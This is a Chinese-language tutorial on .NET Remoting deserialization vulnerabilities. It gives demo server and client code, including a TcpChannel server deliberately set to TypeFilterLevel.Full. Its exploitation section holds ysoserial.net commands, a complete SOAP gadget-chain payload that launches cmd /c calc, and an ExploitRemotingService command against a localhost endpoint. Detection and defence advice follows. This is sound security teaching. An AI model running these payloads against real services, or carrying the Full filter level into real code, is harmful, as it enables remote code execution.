.net反序列化之.net remoting
字数 1928 2025-08-05 08:18:57
.NET Remoting 反序列化漏洞分析与利用
1. .NET Remoting 基础概念
.NET Remoting 是一种在不同进程间传递对象的方式,类似于 Java 中的 RMI 技术。它允许客户端和服务端通过远程调用方式交互,即使它们位于不同的应用程序域(AppDomain)或不同的机器上。
1.1 传输协议
.NET Remoting 支持三种主要协议:
- IpcChannel:用于本机进程间通信,使用 IPC 协议,速度最快但仅限于本机通信
- TcpChannel:基于 TCP 传输,使用二进制序列化,效率高
- HttpChannel:基于 HTTP 传输,使用 SOAP 序列化,兼容性强
2. .NET Remoting 基本实现
2.1 远程对象类
远程对象类必须继承 MarshalByRefObject 才能跨域传输:
using System;
namespace RemoteDemoObject
{
public class RemoteDemoObjectClass : MarshalByRefObject
{
public int count = 0;
public int GetCount()
{
Console.WriteLine("GetCount called.");
return count++;
}
}
}
2.2 服务端实现
HttpChannel 服务端示例
using System;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Http;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
HttpServerChannel httpServerChannel = new HttpServerChannel(9999);
ChannelServices.RegisterChannel(httpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(
typeof(RemoteDemoObjectClass),
"RemoteDemoObjectClass.rem",
WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
TcpChannel 服务端示例
using System;
using System.Collections;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Tcp;
using System.Runtime.Serialization.Formatters;
using RemoteDemoObject;
namespace RemoteDemoServer
{
class Program
{
static void Main(string[] args)
{
BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};
IDictionary hashtables = new Hashtable();
hashtables["port"] = 9999;
TcpServerChannel tcpServerChannel = new TcpServerChannel(hashtables, binary);
ChannelServices.RegisterChannel(tcpServerChannel, false);
RemotingConfiguration.RegisterWellKnownServiceType(
typeof(RemoteDemoObjectClass),
"RemoteDemoObjectClass.rem",
WellKnownObjectMode.Singleton);
Console.WriteLine("server has been start");
Console.ReadKey();
}
}
}
2.3 客户端实现
HttpChannel 客户端示例
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "http://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(
typeof(RemoteDemoObjectClass),
serverAddress);
Console.WriteLine("call GetCount() get return value:{0}", obj1.GetCount());
Console.ReadKey();
}
}
}
TcpChannel 客户端示例
using RemoteDemoObject;
using System;
namespace RemoteDemoClient
{
class Program
{
static void Main(string[] args)
{
string serverAddress = "tcp://localhost:9999/RemoteDemoObjectClass.rem";
RemoteDemoObjectClass obj1 = (RemoteDemoObjectClass)Activator.GetObject(
typeof(RemoteDemoObjectClass),
serverAddress);
Console.WriteLine("get string:\t{0}", obj1.GetCount());
Console.ReadKey();
}
}
}
3. 漏洞原理
3.1 漏洞产生原因
漏洞的核心在于 TypeFilterLevel 属性的设置:
BinaryServerFormatterSinkProvider binary = new BinaryServerFormatterSinkProvider()
{
TypeFilterLevel = TypeFilterLevel.Full
};
TypeFilterLevel 是一个枚举,有两个值:
- Low:仅反序列化与基本远程处理功能相关联的类型(安全)
- Full:反序列化所有类型(危险)
当设置为 Full 时,攻击者可以构造恶意序列化数据实现远程代码执行。
3.2 序列化机制
- HttpChannel:使用
SoapServerFormatterSinkProvider进行 SOAP 序列化 - TcpChannel:使用
BinaryServerFormatterSinkProvider进行二进制序列化
4. 漏洞利用
4.1 攻击 HttpServerChannel
- 构造 SOAP 格式的恶意序列化数据
- 使用 ysoserial.net 生成 payload:
.\ysoserial.exe -f soapformatter -g TextFormattingRunProperties -c calc
- 发送恶意 SOAP 请求到 remoting 端点
示例 SOAP payload(部分):
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="/c calc" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="cmd" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
4.2 攻击 TcpServerChannel
- 使用 ysoserial.net 生成 base64 编码的二进制 payload:
.\ysoserial.exe -f binaryformatter -g TextFormattingRunProperties -c calc -o base64
- 使用 ExploitRemotingService 工具发送 payload:
.\ExploitRemotingService tcp://localhost:9999/RemoteDemoObjectClass.rem raw [base64_payload]
5. 漏洞检测
5.1 识别 .NET Remoting 服务
- 端口扫描:使用 nmap 扫描常见 remoting 端口
- URI 特征:查找以
.rem结尾的 URI 端点 - 协议特征:
- HttpChannel:SOAP 格式的 HTTP 请求
- TcpChannel:以
.NET开头的二进制数据流
5.2 审计要点
- 检查代码中
TcpChannel或HttpChannel的实例化 - 确认
TypeFilterLevel是否设置为Full - 查找
RemotingConfiguration.RegisterWellKnownServiceType调用 - 检查全局配置
ConfigurationManager.AppSettings.Set("microsoft:Remoting:AllowTransparentProxyMessage", false)是否设置
6. 防御措施
-
避免使用 TypeFilterLevel.Full:
new BinaryServerFormatterSinkProvider { TypeFilterLevel = TypeFilterLevel.Low } -
使用安全传输:启用 SSL/TLS 加密通信
-
输入验证:对 remoting 端点实施严格的输入验证
-
最小权限原则:以最低必要权限运行服务
-
升级框架:使用最新版本的 .NET 框架
7. 工具与资源
-
ysoserial.net:生成各种格式的序列化 payload
- GitHub: https://github.com/pwntester/ysoserial.net
-
ExploitRemotingService:专门用于攻击 .NET Remoting 的工具
- GitHub: https://github.com/tyranid/ExploitRemotingService
-
VulnerableDotNetHTTPRemoting:漏洞演示项目
- 可用于学习和测试
8. 总结
.NET Remoting 反序列化漏洞是一个严重的安全问题,攻击者可以利用它实现远程代码执行。理解其工作原理、利用方法和防御措施对于开发和安全人员都至关重要。在实际应用中,应避免使用 TypeFilterLevel.Full,并实施其他安全措施来降低风险。